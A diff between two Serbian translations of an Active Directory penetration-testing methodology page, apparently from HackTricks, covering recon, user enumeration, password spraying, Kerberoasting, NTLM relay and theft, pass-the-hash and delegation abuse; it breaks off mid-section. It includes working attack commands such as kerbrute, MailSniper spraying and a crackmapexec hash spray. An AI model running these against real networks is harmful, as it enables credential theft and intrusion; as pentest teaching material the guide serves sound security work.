-### **Kerberos Authentication**
+### **Kerberos autentifikacija**

-Da biste naučili kako da napadnete AD, morate zaista dobro razumeti **Kerberos autentifikacioni proces**.\
+Da biste naučili kako da **attack an AD** potrebno je vrlo dobro da **razumete** proces **Kerberos authentication**.\
 [**Read this page if you still don't know how it works.**](kerberos-authentication.md)

-## Kratki pregled
+## Brzi pregled

-Možete posetiti [https://wadcoms.github.io/](https://wadcoms.github.io) da brzo vidite koje komande možete pokrenuti za enumeraciju/eksploataciju AD.
+Možete posetiti [https://wadcoms.github.io/](https://wadcoms.github.io) za brz pregled koje komande možete pokrenuti za enumeraciju/eksploataciju AD.

 > [!WARNING]
-> Kerberos komunikacija **zahteva punu kvalifikovanu domenu (FQDN)** za izvođenje akcija. Ako pokušate da pristupite mašini preko IP adrese, **koristiće NTLM umesto Kerberos-a**.
+> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**.

-## Recon Active Directory (No creds/sessions)
+## Recon Active Directory (bez kredencijala/sesija)

-Ako imate pristup AD okruženju ali nemate kredencijale/sesije, možete:
+Ako imate pristup AD okruženju ali nemate nikakve kredencijale/sesije, možete:

 - **Pentest the network:**
- Skenirajte mrežu, pronađite mašine i otvorene portove i pokušajte da **eksploatišete ranjivosti** ili **izvučete kredencijale** iz njih (na primer, [printers could be very interesting targets](ad-information-in-printers.md)).
+- Skenirajte mrežu, pronađite mašine i otvorene portove i pokušajte da **exploit vulnerabilities** ili **extract credentials** iz njih (na primer, [printers could be very interesting targets](ad-information-in-printers.md)).
 - Enumeracija DNS-a može dati informacije o ključnim serverima u domenu kao što su web, printers, shares, vpn, media, itd.
 - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Pogledajte General [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) za više informacija o tome kako ovo raditi.
- **Proverite null i Guest pristup na smb servisima** (ovo neće raditi na modernim verzijama Windows-a):
+- Pogledajte generalnu [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) za više informacija o tome kako ovo raditi.
+- **Check for null and Guest access on smb services** (ovo neće raditi na modernim Windows verzijama):
 - `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
 - `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
 - `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- Detaljniji vodič za enumeraciju SMB servera možete pronaći ovde:
+- Detaljniji vodič o tome kako enumerisati SMB server možete pronaći ovde:


 {{#ref}}
@ -61,7 +61,7 @@ Ako imate pristup AD okruženju ali nemate kredencijale/sesije, možete:

 - **Enumerate Ldap**
 - `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- Detaljniji vodič za enumeraciju LDAP-a možete naći ovde (obratite **posebnu pažnju na anonymous access**):
+- Detaljniji vodič o tome kako enumerisati LDAP možete pronaći ovde (posvetite **posebnu pažnju anonimnom pristupu**):


 {{#ref}}
@ -71,19 +71,19 @@ Ako imate pristup AD okruženju ali nemate kredencijale/sesije, možete:
 - **Poison the network**
 - Sakupite kredencijale [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
 - Pristupite hostu [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Sakupite kredencijale **eksponiranjem** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
+- Sakupite kredencijale **exposing** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Ekstrahujte korisnička imena/ime i prezime iz internih dokumenata, društvenih mreža, servisa (pre svega web) unutar domen okruženja, kao i iz javno dostupnih izvora.
- Ako pronađete kompletna imena zaposlenih, možete pokušati različite AD **username conventions** (**[read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najčešće konvencije su: _NameSurname_, _Name.Surname_, _NamSur_ (3 slova od svakog), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
+- Ekstrahujte usernames/imena iz internih dokumenata, social media, servisa (pre svega web) unutar domen okruženja kao i iz javno dostupnih izvora.
+- Ako pronađete kompletna imena zaposlenih u kompaniji, možete pokušati različite AD **username conventions** ([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najčešće konvencije su: _NameSurname_, _Name.Surname_, _NamSur_ (3 slova od svakog), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
 - Alati:
 - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
 - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)

-### User enumeration
+### Enumeracija korisnika

- **Anonymous SMB/LDAP enum:** Proverite [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) i [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) stranice.
- **Kerbrute enum**: Kada se zahteva nevažeće korisničko ime server će odgovoriti koristeći **Kerberos error** kod _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, što nam omogućava da ustanovimo da je korisničko ime nevažeće. **Važeća korisnička imena** će izazvati ili **TGT u AS-REP** odgovoru ili grešku _KRB5KDC_ERR_PREAUTH_REQUIRED_, što ukazuje da je korisnik obavezan da izvrši pre-autentifikaciju.
- **No Authentication against MS-NRPC**: Korišćenjem auth-level = 1 (No authentication) protiv MS-NRPC (Netlogon) interfejsa na domain controller-ima. Metod poziva funkciju `DsrGetDcNameEx2` nakon binding-a na MS-NRPC interfejs da proveri da li korisnik ili računar postoji bez ikakvih kredencijala. Alat [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementira ovaj tip enumeracije. Istraživanje se može pronaći [ovde](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
+- **Anonymous SMB/LDAP enum:** Pogledajte stranice za [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) i [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
+- **Kerbrute enum**: Kada se zatraži **invalid username** server će odgovoriti koristeći **Kerberos error** kod _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, što nam omogućava da utvrdimo da je username nevažeći. **Valid usernames** će izazvati ili **TGT in a AS-REP** odgovor ili error _KRB5KDC_ERR_PREAUTH_REQUIRED_, što ukazuje da je korisniku potrebna pre-authentication.
+- **No Authentication against MS-NRPC**: Korišćenjem auth-level = 1 (No authentication) protiv MS-NRPC (Netlogon) interfejsa na domain controller-ima. Metod poziva funkciju `DsrGetDcNameEx2` nakon bindovanja MS-NRPC interfejsa da proveri da li korisnik ili računar postoji bez ikakvih kredencijala. Alat [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementira ovu vrstu enumeracije. Istraživanje možete pronaći [ovde](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases

@ -97,7 +97,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
 ```
 - **OWA (Outlook Web Access) Server**

-Ако сте пронашли један од ових сервера у мрежи, такође можете извршити **user enumeration** против њега. На пример, можете користити алат [**MailSniper**](https://github.com/dafthack/MailSniper):
+Ako pronađete jedan od ovih servera u mreži, možete takođe izvršiti **user enumeration against it**. Na пример, možete koristiti alat [**MailSniper**](https://github.com/dafthack/MailSniper):
 ```bash
 ipmo C:\Tools\MailSniper\MailSniper.ps1
 # Get info about the domain
@ -110,17 +110,18 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
 Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
 ```
 > [!WARNING]
-> Možete pronaći liste usernames u [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)  i u ovom ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
+> Možete pronaći liste korisničkih imena u [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)  i u ovoj ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
 >
-> Međutim, trebalo bi da imate **imena osoba koje rade u kompaniji** iz recon koraka koji ste trebali izvršiti ranije. Sa imenom i prezimenom možete koristiti skriptu [**namemash.py**](https://gist.github.com/superkojiman/11076951) da generišete potencijalno validne usernames.
+> Ipak, trebalo bi da imate **imena ljudi koji rade u firmi** iz recon faze koju ste trebali da izvedete pre ovoga. Sa imenom i prezimenom možete koristiti skriptu [**namemash.py**](https://gist.github.com/superkojiman/11076951) da generišete potencijalna validna korisnička imena.

 ### Knowing one or several usernames

-U redu, dakle već imate validan username ali nemate passwords... Probajte:
+Ok, dakle već imate važeće korisničko ime ali nemate lozinku... Onda pokušajte:
+
+- [**ASREPRoast**](asreproast.md): Ako korisnik **nema** atribut _DONT_REQ_PREAUTH_ možete **zatražiti AS_REP poruku** za tog korisnika koja će sadržati podatke enkriptovane derivatom korisničke lozinke.
+- [**Password Spraying**](password-spraying.md): Pokušajte najčešće lozinke sa svakim otkrivenim korisnikom, možda neki korisnik koristi lošu lozinku (imajte na umu password policy!).
+- Imajte u vidu da takođe možete **spray-ovati OWA servers** da pokušate dobiti pristup korisničkim mail serverima.

- [**ASREPRoast**](asreproast.md): Ako user **nema** atribut _DONT_REQ_PREAUTH_ možete **request-ovati AS_REP message** za tog user-a koji će sadržati neke podatke šifrovane derivatom user password-a.
- [**Password Spraying**](password-spraying.md): Pokušajte najčešće passwords sa svakim od otkrivenih users, možda neki user koristi loš password (imajte na umu password policy!).
- Note that you can also **spray OWA servers** to try to get access to the users mail servers.

 {{#ref}}
 password-spraying.md
@ -128,7 +129,7 @@ password-spraying.md

 ### LLMNR/NBT-NS Poisoning

-Možda ćete moći da **obtain** neke challenge hashes koje možete crack-ovati trovanjem (poisoning) nekih protokola u network-u:
+Možda ćete moći da **dohvatite** neke challenge **hashe** za crack-ovanje tako što ćete poison-ovati neke protokole u **mreži**:


 {{#ref}}
@ -137,11 +138,11 @@ Možda ćete moći da **obtain** neke challenge hashes koje možete crack-ovati

 ### NTLM Relay

-Ako ste uspeli da enumerate-ujete Active Directory imaćete **više emails i bolje razumevanje network-a**. Možda ćete moći da forsirate NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) da biste dobili pristup AD env.
+Ako ste uspeli da enumerišete Active Directory imaćete **više email-ova i bolje razumevanje mreže**. Možda ćete moći da primorate NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) da dobijete pristup AD okruženju.

 ### Steal NTLM Creds

-Ako možete pristupiti drugim PCs ili shares koristeći **null or guest user** možete **place files** (npr. SCF file) koji, ako budu accessed, će **trigger-ovati NTLM authentication protiv vas** tako da možete **steal-ovati** **NTLM challenge** da ga crack-ujete:
+Ako možete **pristupiti drugim PC-jevima ili share-ovima** sa **null ili guest user-om** mogli biste **postaviti fajlove** (npr. SCF fajl) koji, ako budu otvoreni, će **okidač NTLM autentikaciju prema vama** tako da možete **ukrasti** **NTLM challenge** i crack-ovati ga:


 {{#ref}}
@ -150,9 +151,9 @@ Ako možete pristupiti drugim PCs ili shares koristeći **null or guest user** m

 ## Enumerating Active Directory WITH credentials/session

-Za ovu fazu morate imati **compromised credentials ili session valjanog domain account-a.** Ako imate valid credentials ili shell kao domain user, **zapamtite da opcije date ranije i dalje predstavljaju načine da kompromitujete druge users**.
+Za ovu fazu morate imati **kompromitovane kredencijale ili sesiju validnog domain naloga.** Ako imate neke validne kredencijale ili shell kao domain user, **treba da zapamtite da su opcije navedene ranije i dalje validne za kompromitovanje drugih korisnika**.

-Pre nego što započnete authenticated enumeration, treba da znate šta je **Kerberos double hop problem.**
+Pre nego što počnete sa autentifikovanom enumeracijom trebalo bi da znate šta je **Kerberos double hop problem.**


 {{#ref}}
@ -161,33 +162,33 @@ kerberos-double-hop-problem.md

 ### Enumeration

-Kompromitovanje account-a je **veliki korak ka kompromitovanju celog domena**, jer ćete moći da započnete **Active Directory Enumeration:**
+Kompromitovanje naloga je **velik korak ka kompromitovanju celog domena**, zato što ćete moći da započnete **Active Directory Enumeration:**

-Što se tiče [**ASREPRoast**](asreproast.md) sada možete naći sve moguće vulnerable users, a što se tiče [**Password Spraying**](password-spraying.md) možete dobiti **listu svih usernames** i probati password kompromitovanog account-a, empty passwords i nove obećavajuće passwords.
+Što se tiče [**ASREPRoast**](asreproast.md) sada možete pronaći sve moguće vulnerable korisnike, a što se tiče [**Password Spraying**](password-spraying.md) možete dobiti **listu svih korisničkih imena** i pokušati lozinku kompromitovanog naloga, prazne lozinke ili nove potencijalne lozinke.

 - Možete koristiti [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
- Takođe možete koristiti [**powershell for recon**](../basic-powershell-for-pentesters/index.html) koji će biti diskretnije
- Takođe možete [**use powerview**](../basic-powershell-for-pentesters/powerview.md) da izvučete detaljnije informacije
- Još jedan odličan alat za recon u Active Directory je [**BloodHound**](bloodhound.md). Nije **veoma stealthy** (zavisi od metoda kolekcije koje koristite), ali **ako vam to nije bitno**, svakako ga probajte. Pronađite gde users mogu RDP-ovati, pronađite put do drugih grupa, itd.
- **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS records of the AD**](ad-dns-records.md) jer mogu sadržavati zanimljive informacije.
- Alat sa **GUI** koji možete koristiti za enumeraciju direktorijuma je **AdExplorer.exe** iz **SysInternal** Suite.
- Takođe možete pretražiti LDAP bazu koristeći **ldapsearch** da tražite credentials u poljima _userPassword_ & _unixUserPassword_, ili čak u _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) za druge metode.
+- Takođe možete koristiti [**powershell for recon**](../basic-powershell-for-pentesters/index.html) što će biti stealthier
+- Možete takođe [**use powerview**](../basic-powershell-for-pentesters/powerview.md) da izvučete detaljnije informacije
+- Još jedan odličan alat za recon u Active Directory je [**BloodHound**](bloodhound.md). Nije **vrlo stealthy** (zavisno od metoda kolekcije koje koristite), ali **ako vas to ne zanima**, obavezno ga isprobajte. Pronađite gde korisnici mogu RDP-ovati, pronađite puteve do drugih grupa, itd.
+- **Ostali automatizovani alati za AD enumeraciju su:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
+- [**DNS records of the AD**](ad-dns-records.md) jer mogu sadržati interesantne informacije.
+- Alat sa GUI koji možete koristiti za enumeraciju directory-ja je **AdExplorer.exe** iz **SysInternal** suite-a.
+- Možete pretraživati LDAP bazu sa **ldapsearch** tražeći kredencijale u poljima _userPassword_ & _unixUserPassword_, ili čak u _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) za druge metode.
 - Ako koristite **Linux**, možete takođe enumerisati domen koristeći [**pywerview**](https://github.com/the-useless-one/pywerview).
- Takođe možete probati automatizovane alate kao:
+- Možete takođe pokušati automatizovane alate kao što su:
 - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
 - [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Extracting all domain users**
+- **Ekstrakcija svih domain korisnika**

-Vrlo je lako dobiti sve domain usernames iz Windows-a (`net user /domain` ,`Get-DomainUser` or `wmic useraccount get name,sid`). U Linux-u možete koristiti: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ili `enum4linux -a -u "user" -p "password" <DC IP>`
+Veoma je lako dobiti sva korisnička imena domena iz Windows-a (`net user /domain` ,`Get-DomainUser` ili `wmic useraccount get name,sid`). U Linux-u možete koristiti: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ili `enum4linux -a -u "user" -p "password" <DC IP>`

-> Čak i ako ova Enumeration sekcija izgleda kratko, ovo je najvažniji deo. Posetite linkove (pre svega one za cmd, powershell, powerview i BloodHound), naučite kako enumerisati domain i vežbajte dok ne budete sigurni. Tokom assessment-a, ovo će biti ključni trenutak da nađete put do DA ili da odlučite da se ništa ne može uraditi.
+> Čak i ako ovaj deo Enumeration izgleda kratak, ovo je najvažniji deo od svega. Posetite linkove (pre svega one za cmd, powershell, powerview i BloodHound), naučite kako da enumerišete domen i vežbajte dok se ne osećate komforno. Tokom assesment-a, ovo će biti ključni trenutak da nađete put do DA ili da odlučite da se ništa ne može uraditi.

 ### Kerberoast

-Kerberoasting podrazumeva dobijanje **TGS tickets** koje koriste servisi vezani za user accounts i crack-ovanje njihove enkripcije — koja je zasnovana na user passwords — **offline**.
+Kerberoasting uključuje dobijanje **TGS tiketa** koje koriste servisi vezani za korisničke naloge i crack-ovanje njihove enkripcije — koja se bazira na korisničkim lozinkama — **offline**.

-Više o ovome u:
+Više o tome u:


 {{#ref}}
@ -196,17 +197,17 @@ kerberoast.md

 ### Remote connexion (RDP, SSH, FTP, Win-RM, etc)

-Kada dobijete credentials, možete proveriti da li imate access na bilo koju **machine**. Za to možete koristiti **CrackMapExec** da pokušate konekciju na više servera koristeći različite protokole, u skladu sa port scans.
+Kada dobijete neke kredencijale možete proveriti da li imate pristup nekom **mašini**. U tu svrhu možete koristiti **CrackMapExec** da pokušate konekciju na više servera preko različitih protokola, u skladu sa vašim port skenovima.

 ### Local Privilege Escalation

-Ako imate compromised credentials ili session kao regular domain user i imate **access** tim userom na **bilo koji machine u domen-u**, treba pokušati naći put do **escalate-ovanja privilegija lokalno i loot-ovanja credentials**. To je zato što samo sa lokalnim administrator privilegijama možete **dump-ovati hashes drugih users** iz memorije (LSASS) i lokalno (SAM).
+Ako ste kompromitovali kredencijale ili sesiju kao običan domain user i imate **pristup** tom korisniku na **nekoj mašini u domenu** trebalo bi da pokušate da pronađete način za **lokalno eskaliranje privilegija i loot-ovanje kredencijala**. Samo sa lokalnim administratorskim privilegijama moći ćete **dump-ovati hashe drugih korisnika** u memoriji (LSASS) i lokalno (SAM).

-Postoji kompletna stranica u ovoj knjizi o [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) i [**checklist**](../checklist-windows-privilege-escalation.md). Takođe, ne zaboravite da koristite [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
+Postoji kompletna stranica u ovoj knjizi o [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) i i [**checklist**](../checklist-windows-privilege-escalation.md). Takođe, ne zaboravite da koristite [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).

 ### Current Session Tickets

-Veoma je malo verovatno da ćete pronaći tickets u current user-u koji vam daju permission da pristupite neočekivanim resursima, ali možete proveriti:
+Veoma je **neverovatno** da ćete naći **tiket-e** u trenutnom korisniku koji vam daju dozvolu za pristup neočekivanim resursima, ali možete proveriti:
 ```bash
 ## List all tickets (if not admin, only current user tickets)
 .\Rubeus.exe triage
@ -216,17 +217,17 @@ Veoma je malo verovatno da ćete pronaći tickets u current user-u koji vam daju
 ```
 ### NTLM Relay

-Ako ste uspeli da enumerišete Active Directory imaćete **više email adresa i bolje razumevanje mreže**. Možda ćete uspeti da izvedete NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
+Ako ste uspeli da enumerišete Active Directory imaćete **više emailova i bolje razumevanje mreže**. Možda ćete moći da forsirate NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**

-### Looks for Creds in Computer Shares | SMB Shares
+### Pretraživanje Creds u Computer Shares | SMB Shares

-Sada kada imate neke osnovne credentials trebalo bi da proverite da li možete **pronaći** bilo koje **zanimljive fajlove koji se dele unutar AD-a**. To možete raditi ručno, ali je veoma dosadan i ponavljajući zadatak (još gore ako nađete stotine dokumenata koje treba pregledati).
+Sada kada imate neke osnovne kredencijale treba da proverite da li možete **naći** neke **interesantne fajlove koji se dele unutar AD**. To možete raditi ručno, ali je veoma dosadan i repetitivan zadatak (još gore ako nađete stotine dokumenata koje treba proveriti).

 [**Pratite ovaj link da saznate o alatima koje možete koristiti.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)

-### Steal NTLM Creds
+### Ukrasti NTLM Creds

-Ako možete **pristupiti drugim PCs ili shares** možete **postaviti fajlove** (npr. SCF file) koji, ako se na neki način otvore, će **pokrenuti NTLM authentication prema vama** tako da možete **ukrasti** **NTLM challenge** i pokušati da ga crack-ujete:
+Ako možete **pristupiti drugim PC-jevima ili share-ovima** možete **postaviti fajlove** (npr. SCF file) koji, ako se na neki način pristupi njima, će **pokrenuti NTLM autentifikaciju prema vama**, tako da možete **ukrasti** **NTLM challenge** da ga razbijete:


 {{#ref}}
@ -242,25 +243,25 @@ Ova ranjivost je omogućavala bilo kom autentifikovanom korisniku da **kompromit
 printnightmare.md
 {{#endref}}

-## Privilege escalation on Active Directory WITH privileged credentials/session
+## Eskalacija privilegija na Active Directory SA privilegovanim kredencijalima/sesijom

-**Za sledeće tehnike običan domain user nije dovoljan, potrebne su specijalne privilegije/credentials da biste izveli ove napade.**
+**Za sledeće tehnike običan domain korisnik nije dovoljan — potrebne su posebne privilegije/kredencijali da biste izveli ove napade.**

 ### Hash extraction

-Nadamo se da ste uspeli da **kompromitujete neki local admin** nalog koristeći [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) uključujući relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
-Zatim je vreme da dump-ujete sve hash-e iz memorije i lokalno.\
+Nadamo se da ste uspeli da **kompromitujete neki lokalni admin** nalog koristeći [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
+Zatim je vreme da izvucite sve hashe iz memorije i lokalno.\
 [**Pročitajte ovu stranicu o različitim načinima dobijanja hash-eva.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

 ### Pass the Hash

-**Kada imate hash korisnika**, možete ga iskoristiti da ga **impersonirate**.\
-Treba da koristite neki **tool** koji će **izvršiti NTLM authentication koristeći** taj **hash**, **ili** možete kreirati novi **sessionlogon** i **inject-ovati** taj **hash** u **LSASS**, tako da kada se izvrši bilo koja **NTLM authentication**, taj **hash bude korišćen.** Poslednja opcija je ono što radi mimikatz.\
+**Kada imate hash korisnika**, možete ga koristiti da se **lažno predstavite** kao on.\
+Morate koristiti neki alat koji će **izvesti** **NTLM autentifikaciju koristeći** taj **hash**, **ili** možete kreirati novi **sessionlogon** i **inject-ovati** taj **hash** u **LSASS**, tako da kada se izvrši bilo koja **NTLM autentifikacija**, taj **hash će biti upotrebljen.** Poslednja opcija je ono što radi mimikatz.\
 [**Pročitajte ovu stranicu za više informacija.**](../ntlm/index.html#pass-the-hash)

 ### Over Pass the Hash/Pass the Key

-Ovaj napad ima za cilj da **iskoristi korisnikov NTLM hash za zahtevanje Kerberos tiketa**, kao alternativa uobičajenom Pass The Hash preko NTLM protokola. Dakle, ovo može biti posebno **korisno u mrežama gde je NTLM protocol onemogućen** i gde je dozvoljen samo **Kerberos** kao protokol autentifikacije.
+Ovaj napad ima za cilj da **iskoristi korisnikov NTLM hash za zahtev Kerberos tiketa**, kao alternativu uobičajenom Pass The Hash preko NTLM protokola. Dakle, ovo može biti posebno **korisno u mrežama gde je NTLM protokol onemogućen** i gde je dozvoljen samo **Kerberos** kao protokol za autentifikaciju.


 {{#ref}}
@ -269,38 +270,37 @@ over-pass-the-hash-pass-the-key.md

 ### Pass the Ticket

-U metodi napada **Pass The Ticket (PTT)**, napadači **ukradu korisnikov authentication ticket** umesto njegove lozinke ili hash vrednosti. Ovaj ukradeni ticket se potom koristi za **impersonaciju korisnika**, omogućavajući neovlašćen pristup resursima i servisima unutar mreže.
+U metodi napada **Pass The Ticket (PTT)**, napadači **ukradu korisnikov autentifikacioni tiket** umesto njegove lozinke ili hash vrednosti. Ovaj ukradeni tiket se potom koristi za **lažno predstavljanje korisnika**, čime se dobija neovlašćen pristup resursima i servisima u mreži.


 {{#ref}}
 pass-the-ticket.md
 {{#endref}}

-### Credentials Reuse
+### Ponovna upotreba kredencijala

-Ako imate **hash** ili **password** lokalnog **administrator**a trebalo bi da pokušate da se **loginujete lokalno** na druge **PCs** koristeći njega.
+Ako imate **hash** ili **password** lokalnog **administratora**, trebalo bi da pokušate da se **lokalno ulogujete** na druge **PC-e** pomoću njega.
 ```bash
 # Local Auth Spray (once you found some local admin pass or hash)
 ## --local-auth flag indicate to only try 1 time per machine
 crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
 ```
 > [!WARNING]
-> Imajte na umu da je ovo prilično **bučno** i da bi **LAPS** to **umanjio**.
+> Imajte na umu da je ovo prilično **bučno** i da bi **LAPS** to **ublažio**.

-### MSSQL Abuse & Trusted Links
-
-Ako korisnik ima privilegije za **access MSSQL instances**, mogao bi ga iskoristiti za **execute commands** na MSSQL hostu (ako se izvršava kao SA), **steal** NetNTLM **hash** ili čak izvršiti **relay** **attack**.\
-Takođe, ako je MSSQL instance trusted (database link) od strane druge MSSQL instance. Ako korisnik ima privilegije nad trusted bazom, moći će **use the trust relationship to execute queries also in the other instance**. Ova poverenja se mogu lančati i u nekom trenutku korisnik može pronaći pogrešno konfigurisanu bazu gde može izvršavati komande.\
-**The links between databases work even across forest trusts.**
+### MSSQL zloupotreba i pouzdani linkovi

+Ako korisnik ima privilegije da **pristupi MSSQL instancama**, mogao bi ih iskoristiti da **izvršava komande** na MSSQL hostu (ako se proces izvršava kao SA), **ukrade** NetNTLM **hash** ili čak sprovede **relay** **attack**.\
+Takođe, ako je MSSQL instanca pouzdana (database link) od strane druge MSSQL instance, i korisnik ima privilegije nad tom poverenom bazom, moći će da **iskoristi odnos poverenja da izvršava upite i na drugoj instanci**. Ovi trustovi se mogu povezivati i u nekom trenutku korisnik može pronaći pogrešno konfigurisanu bazu gde može izvršavati komande.\
+**Linkovi između baza rade čak i preko forest trustova.**

 {{#ref}}
 abusing-ad-mssql.md
 {{#endref}}

-### IT asset/deployment platforms abuse
+### Zloupotreba IT asset/deployment platformi

-Sistemi trećih strana za inventar i deployment često izlažu moćne puteve do kredencijala i izvršavanja koda. Vidi:
+Third-party inventory i deployment suite često izlažu moćne puteve do kredencijala i izvršavanja koda. Pogledajte:

 {{#ref}}
 sccm-management-point-relay-sql-policy-secrets.md
@ -312,10 +312,9 @@ lansweeper-security.md

 ### Unconstrained Delegation

-Ako pronađete bilo koji Computer object sa atributom [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i imate domain privilegije na tom računaru, bićete u mogućnosti da dump-ujete TGT-ove iz memorije svih korisnika koji se prijave na računar.\
-Dakle, ako se **Domain Admin logins onto the computer**, moći ćete da dump-ujete njegov TGT i impersonate ga koristeći [Pass the Ticket](pass-the-ticket.md).\
-Zahvaljujući constrained delegation možete čak i **automatski kompromitovati Print Server** (nadamo se da će to biti DC).
-
+Ako pronađete bilo koji Computer object sa atributom [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i imate domen privilegije na tom računaru, moći ćete da dump-ujete TGTs iz memorije svakog korisnika koji se prijavi na taj računar.\
